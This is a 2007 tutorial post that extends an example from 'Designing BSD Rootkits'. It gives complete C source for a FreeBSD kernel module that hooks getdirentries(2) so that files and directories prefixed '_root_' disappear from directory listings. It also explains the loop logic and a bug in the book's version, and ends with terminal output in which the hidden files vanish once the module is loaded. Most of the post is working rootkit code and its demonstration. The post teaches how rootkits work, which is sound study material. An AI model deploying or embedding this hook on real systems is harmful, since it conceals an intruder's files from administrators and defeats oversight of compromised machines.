2007-08-30 Hiding Multiple Files or Directories

The following is an example getdirentries(2) system call hook designed to hide every file and/or directory that begins with the prefix "_root_". This hook is the "natural extension" to the getdirentries(2) hook described in Section 6.4 of Designing BSD Rootkits and is based on code written by pragmatic (1999). It was tested on a IA-32-based computer running FreeBSD 7.0-CURRENT and FreeBSD 6.2-STABLE.

Note: If you haven't read Chapter 6 of Designing BSD Rootkits before you can still follow along by first reading Chapter 2 (of Designing BSD Rootkits), the getdirentries(2) manual page, and the getdirentries_hook function source (found within dbr/ch06/incognito-0.2/incognito-0.2.c).


#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

#include <sys/malloc.h>
#include <sys/dirent.h>

#define PREFIX "_root_"
#define LENGTH 6

static int
getdirentries_hook(struct thread *td, void *syscall_args)
{
    struct getdirentries_args /* {
        int fd;
        char *buf;
        u_int count;
        long *basep;
    } */ *uap;
    uap = (struct getdirentries_args *)syscall_args;

    struct dirent *dp, *current;
    unsigned int size, count, length;
    int flag = 0;

    /* Read directory entries from fd into buf, and... */
    getdirentries(td, syscall_args);

    /* record the number of bytes transferred. */
    size = td->td_retval[0];

    /* Does fd contain any directory entries? */
    if (size > 0) {
        /* Allocate kernel memory, and... */
        MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT);

        /* create a local copy of the directory entries. */
        copyin(uap->buf, dp, size);

        current = dp;
        count = size;

        /* Iterate through the directory entries. */
        while (count > 0) {
            length = current->d_reclen;
            count -= length;

            /* Hide this directory entry? */
            if (strncmp((char *)&(current->d_name), PREFIX, LENGTH) == 0) {
                if (count != 0) {
                    /* Cut out a directory entry. */
                    bcopy((char *)current + length, current, count);
                    flag = 1;
                }

                /* Adjust locally the "number of bytes transferred". */
                size -= length;
            }

            /* The last directory entry always has a record length of 0. */
            if (current->d_reclen == 0)
                /* Get out of while loop. */
                count = 0;

            /* Any more directory entries to look at? */
            if (count != 0 && flag == 0)
                /* Point to the next directory entry. */
                current = (struct dirent *)((char *)current + length);

            flag = 0;
        }

        /* Adjust the getdirentries(2) return values. */
        td->td_retval[0] = size;
        copyout(dp, uap->buf, size);

        FREE(dp, M_TEMP);
    }

    return(0);
}

static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        /* Replace getdirentries(2) with getdirentries_hook. */
        sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook;
        break;

    case MOD_UNLOAD:
        /* Reinstate getdirentries(2). */
        sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries;
        break;

    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
}

static moduledata_t getdirentries_hook_mod = {
    "getdirentries_hook",
    load,
    NULL
};

DECLARE_MODULE(getdirentries_hook, getdirentries_hook_mod, SI_SUB_DRIVERS,
  SI_ORDER_MIDDLE);

Listing 1: getdirentries_hook.c

As you can see, there's not much difference between the getdirentries(2) hook shown above and the one shown in Section 6.4 of Designing BSD Rootkits (i.e., Listing 6-4: incognito-0.2.c). In fact, the only major difference is in the while loops. In Listing 6-4 of Designing BSD Rootkits the while loop is written as follows:


while ((current->d_reclen != 0) && (count > 0)) {
    count -= current->d_reclen;

1   if (strcmp((char *)&(current->d_name), T_NAME) == 0) {
        if (count != 0)
2           bcopy((char *)current + current->d_reclen, current, count);

3       size -= current->d_reclen;
        break;
    }

    if (count != 0)
        current = (struct dirent *)((char *)current + current->d_reclen);
}

On the other hand, the while loop in Listing 1 is written as follows:


while (count > 0) {
4   length = current->d_reclen;
    count -= length;

5   if (strncmp((char *)&(current->d_name), PREFIX, LENGTH) == 0) {
        if (count != 0) {
6           bcopy((char *)current + length, current, count);
            flag = 1;
        }

7       size -= length;
    }

    if (current->d_reclen == 0)
        count = 0;

8   if (count != 0 && flag == 0)
        current = (struct dirent *)((char *)current + length);

    flag = 0;
}

As you can see, besides swapping the call to (1) strcmp() with a call to (5) strncmp(), there is only one major difference: the addition of two variables (length and flag). The length variable is used to keep track of (4) current->d_reclen, because if the call to (6) bcopy() occurs, current will end up pointing to the next dirent structure and, without length, the subsequent subtraction from (7) size would be incorrect.

Note: Listing 6-4 of Designing BSD Rootkits should also use a "length" variable. As is, if the call to (2) bcopy() occurs, the subtraction from (3) size is with the next dirent structure's record length—not the one just hidden... oops!

The flag variable is used to ensure that if current ends up pointing to the next dirent structure because of (6) bcopy(), not to (8) advance it at the end of the loop. Without flag, current would advance twice in one iteration skipping a dirent structure.

The following output shows getdirentries_hook in action:


$ mkdir test
$ touch test/_root_1
$ touch test/_root_2
$ mkdir test/_root_3
$ ls -l test/
total 2
-rw-r--r--  1 ghost  ghost    0 Aug 30 00:01 _root_1
-rw-r--r--  1 ghost  ghost    0 Aug 30 00:01 _root_2
drwxr-xr-x  2 ghost  ghost  512 Aug 30 00:01 _root_3
$ sudo kldload ./getdirentries_hook.ko
$ ls -l test/
total 0

Downloads

References